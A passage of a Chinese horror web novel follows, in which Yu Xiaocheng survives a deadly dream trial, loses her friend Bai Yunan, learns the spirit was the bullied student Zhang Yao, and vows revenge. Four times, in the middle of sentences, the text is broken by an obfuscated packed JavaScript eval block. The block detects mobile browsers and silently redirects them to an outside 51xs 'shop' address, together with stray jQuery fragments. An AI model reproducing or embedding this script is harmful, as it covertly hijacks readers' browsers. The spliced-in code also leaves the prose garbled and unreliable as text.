“你……怎么会在这里?”俞小澄弯曲手指,敲打着额头,感觉脑子里一片混乱。 吴樊祐伸出手,用手心摸了摸她的额头,“没发烧,怎么还说胡话了,你生病了,身为男友不在这里,该在哪里?” “你怎么可能是我男友?”俞小澄一脸惊异。 “傻瓜,你的男友除了我还有谁?”吴樊祐没当回事,打趣地问道。 “怎么会……”俞小澄努力想要回忆,可那些尘封的记忆竟变得异常陌生。 回忆中,她在大学毕业时向吴樊祐告白,没想到对方也喜欢自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13439534|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己,然后二人交往了四年,并在听说她母亲去世消息后,毅然跟她回到了老家。 从此便时常两地奔波,这次也是听说她生病,特意来接她到医院检查病情。 一切看上去相当合理,可俞小澄总觉得哪里怪怪的,具体哪里怪,她又一时说不上来。 仿佛有什么搅乱了她的大脑,让她的记忆混乱不堪。 俞小澄在错愕中,乘车抵达医院,然后在吴樊祐的陪同下,做了各项检查。 折腾了大半天,终于拿到了检查结果,各项指标显示——她身体一切正常。 吴樊祐总算放了心,又驱车将俞小澄送回家,留在家里吃了晚饭,再连夜返回久昌市。 俞小澄将他送到了院子里,直到此时她仍然处于迷糊的状态,仿佛一时适应不了突如其来的改变,记忆和体感好像发生了偏离。 “等忙完手上的工作,我再来看你。”吴樊祐露出一脸宠溺的笑。 陌生感依旧萦绕在俞小澄的心间,令她本能地排斥对方示好,她敷衍地回了一声“嗯”,然后目送着对方离开院子。 那个熟悉的背影在眼前一步步走到院子大门,又不舍地回头冲她挥了挥手,俞小澄的手条件反射地给予回应,可此刻的画面竟有些说不出来的熟悉。 接着,那个背影在俞小澄的目送下,走出了大门,渐渐消失的夜色中。 俞小澄忽然心头一紧,仿佛有一把刀猛然扎进了心里,让她下意识地捂住了胸口,那种痛太过真实,不是不舍,是不解,是怨气。 就像是某些被淡忘的记忆开始复苏,同样的背影与这一幕重合到一起。 俞小澄陡然想起吴樊祐扔下自己,独自逃离自习室。 周围的一切犹如即将坍塌的记忆宫殿,那些被抹去的记忆潮水般融入脑海,俞小澄猛然惊醒,大口喘着粗气。 她猛地直起身子,然后脑袋撞到了铁板上,疼得她摔回地上嗷嗷直叫,等脑袋上的痛感慢慢消减,她东张西望,发现自己躺在长桌之下,身上还盖着一件黑色的雨衣。 陡然回想起自己身处何地,一颗心立即蹦到了嗓子眼,她从长桌的缝隙向外张望,努力搜寻着白羽楠的身影。 窗外的天泛起鱼肚白,朝阳自东方撕开了夜幕,自习室内哪里还找得见其他人的身影。 俞小澄没想到自己一觉睡到了天亮,这期间究竟发生了什么事,而自己又为何挪到了长桌下,对她而言全是谜题。 她缓缓从长桌下爬了出来,讲台上的机器人仿佛陷入了待机状态,对于她的出现没有一丝反应。 俞小澄看了看表,时间刚过6点,而教室中血迹斑斑,显然昨晚发生了十分不妙的情况。 “小白?”俞小澄尝试着高声呼唤,刚刚清醒的声音还带着些许嘶哑。 连连喊了几声也没有得到回应,俞小澄在心里不断安慰自己:小白也许昨晚就离开了自习室,大概我一直没醒,她也没法叫我离开,所以将我移到了桌下,一定是这样的,一定是…… 可是看着地上、墙上、桌椅上怵目惊心的血迹,她实在无法说服自己。 正在这时,不远处的桌下传来一阵响动,一个人影从下面爬出,看到俞小澄,面露惊喜:“小俞妹子,你可算醒了!” 146. 梦境(五) 陈奇赫然出现在眼前,凌乱的头发似乎在暗示着昨晚的狼狈,见到俞小澄就像是找到了组织,欢欣雀跃地迎了上来。 “你怎么也……”俞小澄还有些搞不清楚状况,“对了,你看见小白了吗?” 其实对于是否能从陈奇口中得到白羽楠的消息,俞小澄并没有抱希望,看他这个时候从桌子下跑出来,感觉对方大概率跟自己一样蒙圈。 “我说了你别急啊……”陈奇欲言又止地挠了挠头,似乎对于要说的话心里有些挣扎。 见他这状态,俞小澄顿感大事不妙,本能地对答案产生抗拒,强扯了扯嘴角,道:“你肯定想说小白丢下我自己先离开了对吧,这没什么大不了,她一个女生,你要她留下如何是好,我明白的!你不用说了!” 俞小澄说着就往门外跑,陈奇有些担忧地跟上。 “哎,瞧你这样子,猜到我要说什么了吗……”陈奇于心不忍地问道。 俞小澄在走廊里东张西望,试图转移自己的注意力,假装听不见陈奇的对话,可愈发冰凉的心在告诉自己,其实她已经猜对了。 一条长长的走廊向两侧延伸,各自通往一道大门,从特征上很好辨认,带有天气预报显示屏的是宿舍,没有的是食堂。 冷白的灯光洒在地面上,两侧的光荣榜依然瘆得慌,可此时的俞小澄哪里还能感受到外界的刺激,内心的慌乱已经卷起惊涛骇浪。 她咬着牙,不知在找寻什么方向,踌躇不前的脚步,不知该放哪儿的手掌,还有逐渐模糊了视线的泪水,都在宣泄着她的无助。 过了许久,她认命一般问道:“是因为我吗?” 她这没头没尾的一句话,并没有带给陈奇困惑,只见陈奇皱着一张脸思考了片刻,才微微点头道:“嗯,但我们都知道,你才是离开的希望,你没必要太过在意,你们是朋友嘛……” “朋友……我还配吗……” 一滴滴水珠从脸颊滑落,俞小澄眼神黯淡地望向陈奇,等待他给出足以击溃她的真实答案。 从陈奇的口中,俞小澄得知了昨晚那部分她参与其中却全无意识的故事。 当时天花板上一排排喷气口中喷出的白雾,似乎是某种催眠瓦斯,所有人都在瞬间失去了意识。 陈奇跟俞小澄一样,进入不知是幻境还是梦境之中,其中发生的所有事都极其符合自己的心意,慢慢地人便会沉迷其中。 陈奇偶然想起了一些被刻意掩盖的记忆,然后便清醒了过来,当时绝大多数人还躺在原地,而机器人的身上出现了倒计时。 陈奇并不知道准确的时间,当他醒来时,倒计时还剩十来分钟。 后来,白羽楠也从昏迷中醒转,她尝试叫醒俞小澄,可惜俞小澄一直醒不过来。 另外几个清醒的考生,和陈奇想到了同一件事,他们尝试开门逃走,然而一切都只是白费力气,自习时间未结束,他们根本无法离开。 当时他们没有人知道机器人身上的倒计时结束会发生什么,但不祥的预感总徘徊在陈奇的心间。 果不其然,当倒计时结束时,一直没有动静的机器人行动了,他的一只手变成了锋利的刀刃,眼睛里冒着红光,目之所及处皆为待宰羔羊。 陈奇眼睁睁看到机器人一把抓起地上昏迷的考生,那动作仿佛拎起一只小鸡崽,然后轻松将其抹脖子,血溅当场,接着眼都不眨一下,将那人往身后一甩,继续寻找下一个猎物。 陈奇吓得赶紧躲到桌下,从缝隙中偷偷观察着讲台那边,令他意外的是,有清醒的考生没来得及从机器人身边溜走,本大概率会遇难,可机器人彻底无视了那人。 这个发现让陈奇瞬间放松了警惕,亦明白了本场自习的规则禁忌。 机器人曾提示过一句话:“请务必保持清醒。” 原来清醒的含义正体现在此刻,那些未能从昏迷中得以清醒的考生,全都算作违规,成为机器人处决的对象。 如此想通后,陈奇大胆地从桌子下爬了出来,其他考生似乎也注意到这个细节,纷纷安了心。 然后陈奇就注意到白羽楠还在试图叫醒俞小澄,而机器人正在挨个料理地上昏迷不醒的考生,并且距离俞小澄所在的区域越来越近。 陈奇本不想多管闲事,可一想到俞小澄是唯一可能对付恶灵的人,于是把心一横,前去帮忙。 叫醒俞小澄显然不太现实,他想到将俞小澄藏到桌下,毕竟上次看书也是通过桌下躲藏避过了机器人的攻击。 于是,陈奇和白羽楠将俞小澄抬到了桌下。 白羽楠还不放心,因为机器人这一次没有停留在讲台上,她害怕机器人到处走动会发现躲在桌下的人,所以又将雨衣盖在了俞小澄身上。 等她折腾完这些事,躺在地上的考生已经尽数遭遇了毒手,而其他踩在安全线里的考生,看着犹如屠宰场的自习室,不由得瑟瑟发抖。 机器人的视线从在场所有人身上扫过,似乎是在确认有没有遗漏,确认一圈后,眼里的红光逐渐褪去,他转身慢悠悠地回到了讲台上。 当所有人以为这场屠杀总算结束时,天花板上再次出现一排排喷气管,白雾瞬间笼罩了整间自习室。 等陈奇意识到不妙时,身体已经不受控制地瘫倒在了地上,意识消散的最后一秒,他看见机器人身上重新出现时间,正从30分钟开始倒计时。 这一次昏迷持续的时间比陈奇想象中更长,即便是第二次经历,他也险些迷失在幻境中。 当陈奇再次睁开眼时,机器人已经离开了讲台,吓得他根本顾不上其他,爬着躲到了距离最近的桌子下。 之后发生的事,不用看他也能想象出来,未能及时醒来的人无疑成了机器人手下亡魂。 其中便包括白羽楠。 她没有陈奇这般幸运,未能及时转醒。 等一切尘埃落地,催眠瓦斯又弥漫了整个屋子,新的轮回再次开启。 然后,天亮了,这种无休止的催眠终于伴随机器人的待机归于休止。 听完昨夜的始末,俞小澄甚至有些后悔醒来。 或许留在那场幻境中,一切都很美好,不会有人因为她死亡,而她也一辈子都不用知道这个残酷的结果。 此时再回想梦中一直呼唤自己的那个熟悉的声音,那不就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13457636|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白羽楠吗? 那天夜里,白羽楠甚至来与她道别。 思及此处,俞小澄早已泣不成声。 白羽楠于她而言,是一种可能性,一种她也不是万人嫌的安慰剂,让她感觉自己也可能与谁成为朋友,知心而交,相互扶持。 可惜现在这一切美好的希冀碎裂成渣,风一吹,不留一丝痕迹,就仿佛那个让她与自己和解的人从不曾出现过。 这场梦境似乎是在嘲笑她做的一切努力,并轻易将其摧毁。 不可原谅,她曾想放过恶灵一马,看在大家都是住客的面子上,她费尽心思寻找道具,可恶灵何时对她手下留情? 她的仁慈害死了那个唯一愿意留在旅店陪伴自己的朋友,悔恨已经没有意义,泪水在心中汇聚成烈焰,灼烧着她那颗濒临崩溃的心。 不可饶恕,她要复仇。 不管是恶灵,还是那个背叛自己的男人。 俞小澄收起泪水,带着一身戾气,默不作声向宿舍走去,那里现在应该有两个令她厌恶的人:一个是从自习室逃跑的吴樊祐,一个是未在自习室出现的恶灵。 推开宿舍大门,那两人正在房中对峙,见到俞小澄,都是脸上一惊。 似乎这两人都认为俞小澄死定了。 俞小澄忽然觉得自己很可笑,一厢情愿地替他人着想,可最终自己得到了什么呢? 吴樊祐一脸苦涩地望着俞小澄,想说什么,却最终也没说出口,反倒是一旁的恶灵讪笑着开了口: “没想到还有人能活下来,很好,只有强者才有资格与我一争优秀学生的荣耀,我拭目以待。” 说罢,便高傲地与俞小澄擦肩而过,恶灵离开宿舍,淡定地前往食堂,根本没有将剩下的三人放在眼里。 “如何?昨晚睡得可好?”俞小澄嘴角弯出一个合适的弧度,皮笑肉不笑。 吴樊祐的眼底流露出些许苦恼,艰难开口道:“学姐……你为什么……” “为什么没死吗?对不起让你失望了。”俞小澄冷哼道。 吴樊祐表情僵硬,什么解释的话也没有说,似乎是在承认自己的罪行。 这让俞小澄更是愤怒,她宁愿他说出些冠冕堂皇的理由,大喊冤枉,要她不要生气,她或许还能骗骗自己,强迫自己去相信,至少这样,她可以从心中剥离一分恨意。 “好,很好,原本答应陪我的人已经不在了,那今后就劳烦我的好学弟,留在穷途旅店好好陪学姐,哪儿也别去!”俞小澄咬牙切齿地吐出每一个字,字字都是威胁,句句都是命令。 说完这句,俞小澄冷眼扫过神情惊愕的吴樊祐,转身往走廊走去,快到门边时,头也不回地补充了一句: “对了,你可别想着一死了之,哦不,大概是我多虑了,你这样的人,哪里有胆量赴死?一起在旅店里接受折磨吧,这是你应得的报应!” 恶毒的话轻易从嘴里说出,俞小澄冷笑着离开了宿舍,眼中再无半点犹豫。 一直回到走廊里,她才停下脚步,转身对一直紧随其后的陈奇说:“我会送你离开,但如果你无法通过验证,下次见面,别怪我无情。” 147. 梦境(五) 这样的俞小澄让人莫名感觉一丝恐惧,就好像完全变了一个人。 陈奇看着俞小澄的状态,不敢多问,只是默默点了点头。 正在这时,招财进宝穿墙而出,脸上带着一份喜悦。 招财还未到跟前,就欢喜地喊道:“姐姐,校长室还真有你想找的东西,什么奖杯奖状,就放在校长办公室桌上,你要不要去……” 话还没说完,忽然意识到气氛不对劲,进宝堵住了招财的嘴。 “姐姐,发生什么事了吗?”进宝面露担忧地问道。 俞小澄微微摇了摇头,没有回答,话锋一转道:“辛苦了,不过我已经知道钥匙在哪儿了。” 陈奇大惊,一脸期待地望向俞小澄。 俞小澄转身摸着走廊墙壁向前走去,脑子里回响着校长的话。 ——“我们只选择最优秀的一人,荣登优秀学生光荣榜。” 答案其实一早就出现了,只是她并未在意。 她的手指依次拂过光荣榜上的照片,看似悠闲地漫步往前,走了没多久,被她手指拂过的一张照片上冒出星星点点的亮光,如同萤火虫一般在照片上盘旋。 渐渐,那张无脸考生的照片化成越来越多的光点,倾泻而出,落在地面,慢慢堆砌出一道星光之门。 俞小澄双眼无神地盯着这道门,内心没有一丝波澜,她冲陈奇招了招手,只简单道了句:“你走吧。” 陈奇受宠若惊,一边回首望着宿舍方向,一边确认道:“小俞妹子,你真就把这机会让给我了?你真不打算让吴哥……呸,吴樊祐那小子先离开?” 俞小澄冷冷地扫了一眼陈奇,没有做出回应。 陈奇被那一眼震慑住,赶紧收了声,讨好地冲俞小澄笑了笑,然后赶在俞小澄改变主意前,急冲冲地来到门前,推门而入。 随后,陈奇的身影便随着星光之门一起消失在走廊里。 俞小澄侧目盯着光荣榜,只见原本密密麻麻的照片中出现了一块空白,只有照片下的名字还残留其上。 她缓缓靠近,脸几乎要贴到墙上,当看清那个名字时,内心的震撼无以言表。 她其实应该想到的,回想此前种种,原来一切都有迹可循,只是她没有放在心上。 而这样的结果反而增加了她的怒气,一种无法被填满的空虚感油然而生,矛盾感撕扯着她的理智。 累了,让一切都结束吧。 还未等她下达指令,进宝已经飞到她面前,双手捧着她的脸颊,露出略微邪魅的微笑:“是不是又有人欺负姐姐了?姐姐别怕,进宝会替你教训他们的。” 话音刚落,俞小澄只觉一股寒气从面门撞了进来,将她撞进了那片熟悉的深海之中。 进宝径直走向食堂,推开大门,视线扫视一圈,很快便锁定了全场唯一的身影,那人正悠闲地坐在角落,等待着窗口开启。 进宝朝着那人的方向嗅了嗅,随即两眼弯成了月牙,指腹从唇边划过,笑嘻嘻地说道:“真香,进宝饿了。” 角落里的恶灵注意到俞小澄一步步靠近,却丝毫没有表现出慌张,显然在他眼中,俞小澄根本不是他的对手。 所以当进宝走到他面前时,他只是一脸轻蔑地回看一眼,嘴里说着挑衅的话:“这次又想给我下毒?哼,白费功夫,这是我创造的世界,我没有理由输。” 话音刚落,进宝已经扣住了恶灵的手腕,鼻子凑到他脖子上,认真地嗅了嗅。 一股淡淡的麦香味闯入鼻腔,让人顿时感觉一阵饥肠辘辘。 俞小澄借着朦胧的视野观察着眼前的恶灵,那张没有五官的脸上仿佛出现了某个熟悉的轮廓,让她一阵心痛。 恶灵想要挣脱进宝的手,却发现浑身使不上力气,此刻才发觉情况不对劲,然而为时已晚。 “好香啊你,正好适合做早餐!”进宝开心地笑了起来。 随即她不客气地一口咬在了恶灵的手腕上,如同吮吸着甘露,愈发兴奋与狂热。 灵魂被一点点抽离,恶灵总算慌了,想要挣扎,却无力挣脱,只能眼睁睁地看着自己被这个世界抹除。 “不要,我哪里错了?!我不服!” “这里才是世界原本该有的模样,什么金钱,什么特权,都是狗屁!” “那是他们应得的报应,我何错之有?” …… 恶灵不甘心的怒吼在空荡荡的食堂里回响,这些话,再没有人会听到,只有俞小澄紧闭双眼做着最后的聆听者。 然后感觉恶灵的气息越来越弱,她噙着泪,低声道别:“张尧,对不起,我们谁都回不去了……” 当最后一丝灵魂从恶灵的身体剥离,整个世界再次崩塌碎裂。 恶灵彻底湮灭,进宝因满足而脱离附身,俞小澄从深海浮出水面,却立马被淹没在铺天盖地的记忆信息里。 白光刺透梦境,让梦中的一切摇摇欲坠。 在这个即将破碎的世界,俞小澄最后一眼看到的是那面挂满优秀学生照片的荣誉墙,原本空白一片的脸上渐渐浮现出五官。 其中一张照片上的男生,戴着眼镜,长相斯文,阳光正气,照片下工整地写着他的名字——张尧。 是啊,她应当更早注意到的。 在噩梦中出声制止她跃出窗外的人,那个让她误以为是幻觉的拉开她床帘的身影,在画板上留下她肖像的人,一开始就觉得有些耳熟却又无法识别的声音…… 或许梦境剥夺了他作为住客的记忆,就像抹去他的五官,修饰他的嗓音。而俞小澄偶然一次对他释放的善意,兴许使他身上的枷锁产生了些许裂隙。 他们虽然没有认出对方,可冥冥之中,他们还是产生了联系,于是他出手帮了俞小澄,而不知情的俞小澄终究想要他的命,于是暴走的他夺走了俞小澄唯一的救赎。 事到如今,他终是被吞噬,从此这世上再无张尧,而俞小澄的心也彻底死了。 * 记忆中,他是一名大三学生,学习刻苦,与人为善,是众人眼中的好学生,家长口中被称为“别人家的孩子”那样的存在。 他应该有光明的未来,以优异的成绩从优秀的大学毕业,走上令人羡慕的人生大舞台。 可是,仅仅是一件应该被人称赞的好人好事,却毁了他所有的努力。 只因为,他得罪了不该得罪的人。 他制止了室友的偷拍行为,让这位有钱有势的富家子感觉丢了颜面,从此各种从中作梗。 挑唆旁人孤立,范围从宿舍一直扩散到班级,花式霸凌层出不穷,似乎他的痛苦,就是富家子在大学中最大的乐趣。 有权有势便可以只手遮天,有权有势便可以为所欲为。 这是他深刻感受到的一切。 他的生活只剩下学习,他相信只要自己足够努力,等他离开这所大学,这些糟心事都会离他远去。 可是他想错了。 富家子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13473013|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的魔爪竟然还伸向了学校外。 原本梦寐以求的实习机会,因为富家子动用了社会关系,竟让他彻底没戏。 一种这辈子都逃脱不掉的绝望笼罩在他心上。 这世界糟透了! 干脆毁灭吧! 一股无处发泄的愤怒积压在心底,逐渐酝酿成一场山火,灼烧着他的理智。 当这场山火熄灭时,一切已经被烧成灰烬,那个处处针对的富家子已经口吐白沫,停止了呼吸,死相十分狰狞,一看死前便遭受了十足的痛苦。 世界一下安静了,就像是一直环绕在身边的苍蝇,怎么都赶不走,于是有一天,他买回了杀虫剂,轻轻一喷,那只该死的苍蝇便彻底与这个世界告别。 他由衷地笑出了声,感觉整个世界被他踩在了脚下,但他的人生也走到了终结。 “是时候与这个烂透的世界道别了!” “如果有来生,请让我生在一个不被金钱与权力左右的世界。” 那一刻的天空蓝得很干净,棉花糖一样的白云在空中做着点缀,让他的心也随之澄清。 当他纵身一跃,展开手臂拥抱蓝天时,他自己也不清楚是否还有遗憾。 “后悔吗?你会为自己的行为忏悔吗?” 心中仿佛有个声音在问自己。 “不,应该后悔的不是我,若要说谁有错,那错的是这个世界。” 那一份决然在心中从未改变。 * 强烈的情感在心中流淌,无数的记忆在脑海中掀起惊涛巨浪,俞小澄在陌生记忆的冲击下,只觉得头昏脑胀。 艰难地睁开眼,她又回到了旅店客房,可是转头望向一旁,被窝里再也没有熟悉的脸庞。 整个房间中,只有俞小澄一人,就像回到了不久前,辞职后与外界断了往来,孤身住在出租房。 然而细想,似乎又有哪里不同。 那时,她对这个世界早已不抱幻想,得过且过成了她的人生目标,虽然孤独是有,可时间一长,她便心安理得地适应了一个人。 可是现在呢? 她以为她可以活得跟其他人一样,白羽楠让她对这个世界又产生了一丢丢幻想,却在她产生新的习惯时,又从她的世界消失了。 要她如何再回到不在乎的时间线? 心上就像被剜了一刀,一大块空洞留在那里,实在找不到东西填补上。 眼泪无声地从眼角滑落,她只是呆呆地望着天花板,不知道今后的路要如何走下去。 或许报复成了她活着唯一的理由。 既然不能离开,那干脆大家一起消亡。 从今以后,任何住客都与她无关,如果可以,她甚至愿意送他们去死,避免哪一天他们找到记忆之门,却因为无法通过验证而沦为恶灵,继续折磨新来的住客。 不如大家都死得干脆利落些,省得麻烦。 至于她自己,她要将吴樊祐永远留在旅店,不会让他如愿离开。 像吴樊祐这样的人,不可能通过验证,那就让他留在这里陪她,长长久久,求生不得,求死不能,这是对他的惩罚。 俞小澄的脑子里充斥着这些恶毒的想法,似乎这有思考这些,才能让她无处宣泄的情绪得到疏解。 她望着天花板久久无法入眠,一直持续到天明。 房门忽然被敲响,现在这个旅店里,还能有谁呢? 俞小澄坐起身,眼底只剩阴鸷狠厉。 148. 告白 吴樊祐正拿着一套换洗衣物站在门外,看见俞小澄开门,表情甚是复杂,似是有很多话想说,可到了嘴边,只有一句:“学姐,你还好吧?” “好,当然好,还是说,你希望我不好?” 身心俱疲的俞小澄抬起眼眸,冷冷地瞥了他一样,说话的态度格外尖酸刻薄。 说完这句话,俞小澄毫不客气地从吴樊祐手中拿过衣物,没有一句客套的话,转身便进了卫生间。 俞小澄洗了个热水澡,缓解周身的疲劳,然后换上衣服回到房间,发现吴樊祐并没有走,正一脸焦虑地站在窗边。 吴樊祐听到开门声,紧张地转过头,恰好撞上俞小澄冷淡的眼神。 “怎么?你还有别的话想说吗?我想说的好像已经在昨晚梦境中说清楚了,我们还有什么好说的吗?” 俞小澄神情淡漠地说着,甚至没有看吴樊祐一眼,就像是突然丧失了兴趣,多看一眼都觉得浪费时间。 她将兜里的陶瓷娃娃拿了出来,摆在手心仔细观察,此时的招财正背着熟睡的进宝,显然这一顿进宝又要消化一段时间了。 “学姐……你是在生我的气吗?怪我撇下你不管……我真不是想害你……”吴樊祐似乎想要解释,可说出的话苍白得没有一点说服力。 俞小澄发出一声无奈的冷笑:“当然不是想害我,我这不没死成嘛。我干嘛要生气?不过是普通校友关系,如果这样就指望你可信,那岂不在承认我可笑至极?” 吴樊祐面色阴沉,低声喊出了她的名字:“俞小澄……” “我们好像没那么熟,你还是客气些,叫我学姐。”俞小澄句句带有攻击性。 昨夜的梦境,她终于什么都不剩了,没有不切实际的幻想,没有对未来美好的憧憬,更放下了曾经的执着。 “学姐,不管你相不相信,我真的只想让你离开这里。”吴樊祐的脸上已经没了血色,似乎有什么折磨着他的神经,让他苦不堪言。 “离开?如果你指的是□□的解脱,那我还真信!” “我不是这个意思……我没想害你,不,或许我的行为看起来像是这么做了,但底层逻辑不是这样的……” 吴樊祐辩解得语无伦次,俞小澄听着只觉可笑。 “别急,你就算没害死我,但你害死了小白,我能怎么样呢?怎么说你也是我学弟,我可不能叫你偿命,你就代替小白留下陪我吧。” 俞小澄笑着说道,不过她的笑没有一点温度,甚至有些刺骨。 “她……”吴樊祐脸色惨白,支支吾吾半晌,最终什么牵强的借口都没说出来。 俞小澄只当他是心中有愧,对他的恨不禁又浓上了一分。 她将陶瓷娃娃放回兜里收好,然后转身向屋外走去,边走边讥讽道:“何必心急呢,只要再等一晚,记忆之门就归你了。不管你能否通过记忆之门的验证,至少好聚好散,回忆尚存美好。” 当她快要走到门边时,忽听吴樊祐唤道:“俞小澄,我可以留下,但我希望你能离开。” “别傻了,我们已经无法离开了。”俞小澄头也不回地冷冷道。 “你可以离开的,我相信……” “你凭什么相信?!”周身戾气翻滚,俞小澄扭头,厉声呵斥,“你因为相信,所以选择一个人逃跑,你能听得懂自己的逻辑吗?什么没想害我,你连冠冕堂皇的理由都找不到,连自己都说服不了,你还指望说服我吗?” 面对俞小澄的高声怒骂,吴樊祐没有回嘴,只是表情凝重地移开了视线。 俞小澄对他嗤之以鼻,“你不如大方承认,然后告诉我这么做的理由,就算你明说讨厌我,看不惯我,所以想我赶紧消失,都好过现在的虚情假意。” “我怎么会讨厌你?我这么做,只是因为喜欢你,然而现在这么说你一定觉得荒谬,我也没办法向你解释……”吴樊祐肃着一张脸,说话的状态前所未有的正经。 喜欢,这两个字俞小澄不知道幻想过多少回,那是她不敢奢望的东西,也是她曾经想向对方传递的情感。 此刻,除了刺痛感,俞小澄再感觉不到任何心动。 终究,这样的告白来得不合时宜,一切都已经晚了。 “哦,如果是因为喜欢,那让你留在这里陪我,你应该没有异议了吧?”俞小澄勾起一边嘴角,冷笑了一声,仿佛是在嘲笑这份过于虚假的感情。 “……” 吴樊祐沉默了,也许没料到她会是如此反应。 俞小澄撇下无言以对的吴樊祐,面无表情地离开了房间,心中的空洞急需东西填补,如今只能化为食欲。 整个穷途旅店除了俞小澄和吴樊祐,一个人都不剩了,显得无比冷清,俞小澄狼吞虎咽地吃着早餐,迎接新的一天,情绪却始终低落。 一夜之间,似乎一切都悄然发生了改变。 若是只计算来到穷途旅店的日子,不过短短五天而已,俞小澄的心境却发生了翻天覆地的变化。 她感觉自己现在仿佛是旅店中的一只恶鬼,什么都不能填补她内心的空虚,或许她早就死了,留在这里的不过是她的一丝执念。 她曾天真地想做一回英雄,最终一事无成,当初一同直面困境的人,如今全都消失了,彻底的那种。 冷清,实在太冷清了。 而那个想杀自己的人却还好好活着,甚至还跟她胡扯什么喜欢。 这样也好,至少从今往后,有人必须活着陪她留在这个地狱一般的地方,互相折磨,直到她哪一天厌了,再一同上路。 吴樊祐没有到餐厅吃早餐,当俞小澄来到一楼大厅时,看到他神情黯淡地坐在角落沙发上,焦虑的情绪似乎一直折磨着他。 见他这般模样,俞小澄心情大好,她看了看时间,距离新住客出现的10点没剩几分钟了,她没有在沙发坐下,而是走到了大门边,藏进了阴影里。 当十点的钟声敲响,新的一批住客从大门走了进来,而俞小澄很自然地混进了人群中。 新到的住客完全不知道这里究竟是什么地方,而他们又为何身处此地。 俞小澄在人后观察着新来的住客,这次一共来了九人: 最先进入大厅的,是一对中年男女,从进门就一直站在一起,看上去像是夫妻,可二人之间的气氛又有一些微妙,给俞小澄的感觉可以总结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13488737|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为“貌合神离”四个字。 除了这两人,其余人似乎并不认识。 紧随其后的青年男人,表情阴郁,说话神神叨叨,亦表现得不太合群,看上去有些被害妄想症。 其后是另一个大块头中年男子,表情看上去有些怪异,他表现出的状态,感觉像个没长大的孩子,与人交流时,仿佛不在一个频道。 然后是一个穿着性感的卷发女人,年纪也很年轻,与人说话时,不停在放电。 接着进入的是一个目中无人的青年男子,从头到脚都是名牌,装腔作势地彰显着自己的有钱有势。 而后是一个拥有大面积纹身的年轻男人,看上去很不好惹的样子,可跟人说话时,态度竟然意外的谦逊有礼。 落在队伍最后的是两个女人,其中一个看上去是个老实淳朴的中年妇女,体型微胖,说话时条理清晰,甚至有些牙尖嘴利;另一个则是戴着眼睛的青年女子,长相斯文,一眼看去是那种典型的乖乖女,听她跟人自我介绍时,似乎职业是一位教师。 这一次,没有任何人做指引,也没有地方出现提示,所有新人都一头雾水,望向远离他们坐在沙发上的吴樊祐。 显然吴樊祐还沉浸在自己的苦恼之中,对于新来的住客并没有产生兴趣。 性感女人打头阵走向了吴樊祐,一声“小哥哥”喊得人骨头都酥了,吴樊祐终于回过神来,视线却从女人身上掠过,在大厅中搜寻俞小澄的身影,直到看到混在人群后面的俞小澄。 “小哥哥?人家叫你呢!你在找什么?” 性感女人动作妩媚地伸手在吴樊祐眼前晃了晃,撒娇一般问道,然后循着吴樊祐的目光往人群中看了看。 “干嘛?”吴樊祐心情烦躁地问。 “嘻嘻,人家还想问你呢!小哥哥你是这家旅店的住客,还是店员呢?人家莫名其妙来到这里,心里好慌啊,你知道究竟是怎么回事吗?” 性感女人的问话只迎来吴樊祐的闭眼无视,然后一句轻飘飘的“不知道”,就将她打发了,这让女人有种挫败感,跺了跺脚,哼了一声,回到了人群中。 性感女人一转头,瞬间恢复了笑脸:“那小哥哥估计也跟我们一样。” 就像是强行挽尊,性感女人为吴樊祐的冷漠找了个合理的解释。 在其他人看来,不知道怎么回事似乎才是正常的表现,因为大家都失忆了,对于自己如何走到这间位于荒郊野岭的旅店,属实没有一点线索。 于是一群茫然的人开始在旅店中搜寻起来,希望能找到旅店的工作人员,或许从别人口中,能问出点自己想要的答案。 在将一楼大厅翻了个底朝天后,一无所获的众人又往楼上进发。 他们首先到达的是二楼,与俞小澄刚到时一样,几乎所有人都因为二楼怪异的长廊没有一扇门窗而感到诡异,不敢多做停留,纷纷迈步向三楼前进。 